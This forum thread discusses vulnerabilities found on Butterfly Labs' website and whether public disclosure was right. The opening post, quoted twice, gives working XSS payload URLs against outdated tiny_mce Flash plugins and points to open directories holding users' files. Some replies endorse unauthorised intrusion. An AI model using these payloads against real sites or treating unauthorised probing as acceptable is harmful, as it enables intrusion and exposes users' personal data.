BFL's site is incredibly amateur...

[n4ru]

So, after seeing this last night about them leaking their own database login (http://www.reddit.com/r/Bitcoin/comments/1didas/is_butterfly_labs_sql_password_adminbtl123/), I decided to have some fun and poke around the site.

Just for fun, here's what I found:

- Directory Listing Enabled
-- Interesting directories:
--- http://www.butterflylabs.com/upload/
--- http://www.butterflylabs.com/images -
--- http://www.butterflylabs.com/images/users/ <-- What the hell is this stuff? Personal files and photos?
- 2 vulnerable tiny_mce plugins (both vulnerabilities have been fixed for ages, they haven't updated)
-- archiv and it's swfupload XSS. There's 2 seperate XSS' here, using 2 different parameters.
--- using movieName:

Code:

www.butterflylabs.com/js/tiny_mce/plugins/archiv/swf/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(%22stay%20classy%20BFL%22);//

--- using buttonText:

Code:

http://www.butterflylabs.com/js/tiny_mce/plugins/archiv/swf/swfupload.swf?buttonText=.%3Cimg%20src='http://www.cabelas.com/assets/product_files/image/xss_reel.gif'%3E

-- media plugin uses vulnerable moxieplayer.swf:

Code:

http://www.butterflylabs.com/js/tiny_mce/plugins/media/moxieplayer.swf?url=http://198.12.67.18/tears.flv

- Their site was copied from Webspawner.
-- Some proof: http://butterflylabs.com/images//admin/admin_logo.png - http://www.webspawner.com/admin/login
-- Admin login page: http://butterflylabs.com/admin

Don't trust a company this amateur.

EDIT: Congratulations on the fast fixes. Now disable directory listing @ https://support.butterflylabs.com/
EDIT 2: Everything's fixed. Stay on your toes BFL... I'm not done

[mustyoshi]

While, it's good of you to alert people. I think you should have alerted them instead of publicly outing their exploits as soon as you found them.

But hey, if your tactic is to get professional penetrators to cause a stir, more power to ya. I just wouldn't have done it this way.

[Todamont]

Agree with mustyoshi. People go to jail for a *long* time for doing what n4ru just did.

[n4ru]

While, it's good of you to alert people. I think you should have alerted them instead of publicly outing their exploits as soon as you found them.

But hey, if your tactic is to get professional penetrators to cause a stir, more power to ya. I just wouldn't have done it this way.

The fastest way to get anything fixed is public outing.

[freedomno1]

That's weak coding nice infiltration do that myself sometimes
http://www.butterflylabs.com/images/admin/butterfly-admin.jpg

[mustyoshi]

While, it's good of you to alert people. I think you should have alerted them instead of publicly outing their exploits as soon as you found them.

But hey, if your tactic is to get professional penetrators to cause a stir, more power to ya. I just wouldn't have done it this way.

The fastest way to get anything fixed is public outing.

It's fine and dandy to believe that, except by outing this, you've put other people's information at risk. Let's say somebody does get into BFL's systems, what kind of information do you think they have stored on their servers? Information that somebody who has a vendetta against bitcoin could put to good use, such as the mailing addresses of tens of thousands of people. Not to mention any related payment information.

[freedomno1]

Not the right directory I believe

[wabber]

Agree with mustyoshi. People go to jail for a *long* time for doing what n4ru just did.

Which is ridiculous. We need people to focus on security if they are coding something especially a website. Sometimes I think that all that some programmers think while they are coding is that it has to work during their 10sec testing and if someone breaks into their system they say: "It wasn't my fault it's always these evil hackers who have nothing better to do than destroying my hard work".
Breaking into systems and therefore exposing ppl to the laugh of the public must be legalized to improve security. There are way to many amateurs running big projects. We need a way to legally knock them out.

[n4ru]

Agree with mustyoshi. People go to jail for a *long* time for doing what n4ru just did.

Which is ridiculous. We need people to focus on security if they are coding something especially a website. Sometimes I think that all that some programmers think while they are coding is that it has to work during their 10sec testing and if someone breaks into their system they say: "It wasn't my fault it's always these evil hackers who have nothing better to do than destroying my hard work".
Breaking into systems and therefore exposing ppl to the laugh of the public must be legalized to improve security. There are way to many amateurs running big projects. We need a way to legally knock them out.

Well said.

[freedomno1]

Agree with mustyoshi. People go to jail for a *long* time for doing what n4ru just did.

Which is ridiculous. We need people to focus on security if they are coding something especially a website. Sometimes I think that all that some programmers think while they are coding is that it has to work during their 10sec testing and if someone breaks into their system they say: "It wasn't my fault it's always these evil hackers who have nothing better to do than destroying my hard work".
Breaking into systems and therefore exposing ppl to the laugh of the public must be legalized to improve security. There are way to many amateurs running big projects. We need a way to legally knock them out.

Well said.

Agreed hackers like exploring architecture and systems its a natural instinct and curiosity just make a good defense so we can learn
Sides we always say evil hackers we mean evil crackers lol (Evil soda crackers since they are the new overlords XD

[Inaba]

I agree, it's the responsibility of the designer/programmer.  I am displeased with this and will be investigating it going forward.  Sometimes it feels like I have to do everything myself.

[dhenson]

I agree, it's the responsibility of the designer/programmer.  I am displeased with this and will be investigating it going forward.  Sometimes it feels like I have to do everything myself.

Say what you will about Josh's usual responses, but this IMO was the perfect reaction to this situation.

Crack the whip!

[n4ru]

I agree, it's the responsibility of the designer/programmer.  I am displeased with this and will be investigating it going forward.  Sometimes it feels like I have to do everything myself.

At least you guys responded to this quick and got it fixed. There was a lot more that could have been done with malicious intent.

[sgbett]

You posted it because you wanted to flex your e-peen.

I'm sure everyone is glad that you decided there time was best spent fixing this.

[MPOE-PR]

So, after seeing this last night about them leaking their own database login (http://www.reddit.com/r/Bitcoin/comments/1didas/is_butterfly_labs_sql_password_adminbtl123/), I decided to have some fun and poke around the site.

Just for fun, here's what I found:

- Directory Listing Enabled
-- Interesting directories:
--- http://www.butterflylabs.com/upload/
--- http://www.butterflylabs.com/images -
--- http://www.butterflylabs.com/images/users/ <-- What the hell is this stuff? Personal files and photos?
- 2 vulnerable tiny_mce plugins (both vulnerabilities have been fixed for ages, they haven't updated)
-- archiv and it's swfupload XSS. There's 2 seperate XSS' here, using 2 different parameters.
--- using movieName:

Code:

www.butterflylabs.com/js/tiny_mce/plugins/archiv/swf/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(%22stay%20classy%20BFL%22);//

--- using buttonText:

Code:

http://www.butterflylabs.com/js/tiny_mce/plugins/archiv/swf/swfupload.swf?buttonText=.%3Cimg%20src='http://www.cabelas.com/assets/product_files/image/xss_reel.gif'%3E

-- media plugin uses vulnerable moxieplayer.swf:

Code:

http://www.butterflylabs.com/js/tiny_mce/plugins/media/moxieplayer.swf?url=http://198.12.67.18/tears.flv

- Their site was copied from Webspawner.
-- Some proof: http://butterflylabs.com/images//admin/admin_logo.png - http://www.webspawner.com/admin/login
-- Admin login page: http://butterflylabs.com/admin

Don't trust a company this amateur.

EDIT: Congratulations on the fast fixes. Now disable directory listing @ https://support.butterflylabs.com/
EDIT 2: Everything's fixed. Stay on your toes BFL... I'm not done

Pretty lulzy stuff.

Agree with mustyoshi. People go to jail for a *long* time for doing what n4ru just did.

Yeah, right. In you know...Iran. Or whatever other shithole noncountry.

[Deafboy]

At first I wanted to mention Aaron Swartz as counter argument, but realized that MPOE-PR is right. Mostly shithole noncountries like Iran, USA or China are affected
edit: to be a little positive +1 for Inaba's reaction.

[sgbett]

sense disagree with mope-pr. ALERT! seek clarification?

are you saying its good practice to out people's security vulnerabilities without contacting them first?

[Phinnaeus Gage]

Here's something interesting: http://webcache.googleusercontent.com/search?q=cache:V2NAhB0iUlwJ:butterflylabs.com/images/users/000/003/366/066/imageGallery/+&cd=2&hl=en&ct=clnk&gl=us

FAA Letter-Approval0001.jpg     06-Apr-2012 02:15    31K

I only know of one pilot associated with Butterfly Labs, and that person wouldn't have had access to BFL's computer at that time because https://bitcointalk.org/index.php?topic=97269.msg1071218#msg1071218

It's a shame that image is no longer available. Or is it?

[MPOE-PR]

sense disagree with mope-pr. ALERT! seek clarification?

are you saying its good practice to out people's security vulnerabilities without contacting them first?

I can appreciate the theoretical outlook you're coming from. Here's what happens when you try to contact idiots first: http://www.google.com/search?q=bitdaytrade+reddit

Look through the posts there, you have actually competent people trying to talk the guy into safety and some strutting imbecile puffing a lot of smoke about the imaginary experts he's hired, the imaginary expertise he has and on and on.

Thus I can certainly appreciate the practical outlook of warning the community first. I guess in the end it all comes down to a judgement call. Did the OP think the failed site is administered by sane people likely to take appropiate measures in a timely and effective manner, or did the OP think the failed site is a scam run by patent liars (Vleisides, Zerlan etc)?

[smoothie]

I agree, it's the responsibility of the designer/programmer.  I am displeased with this and will be investigating it going forward.  Sometimes it feels like I have to do everything myself.

Everything? Oh you mean like those half-assed updates that have no substance? Rrrrright lol

Dont make me laugh Joshy-boy.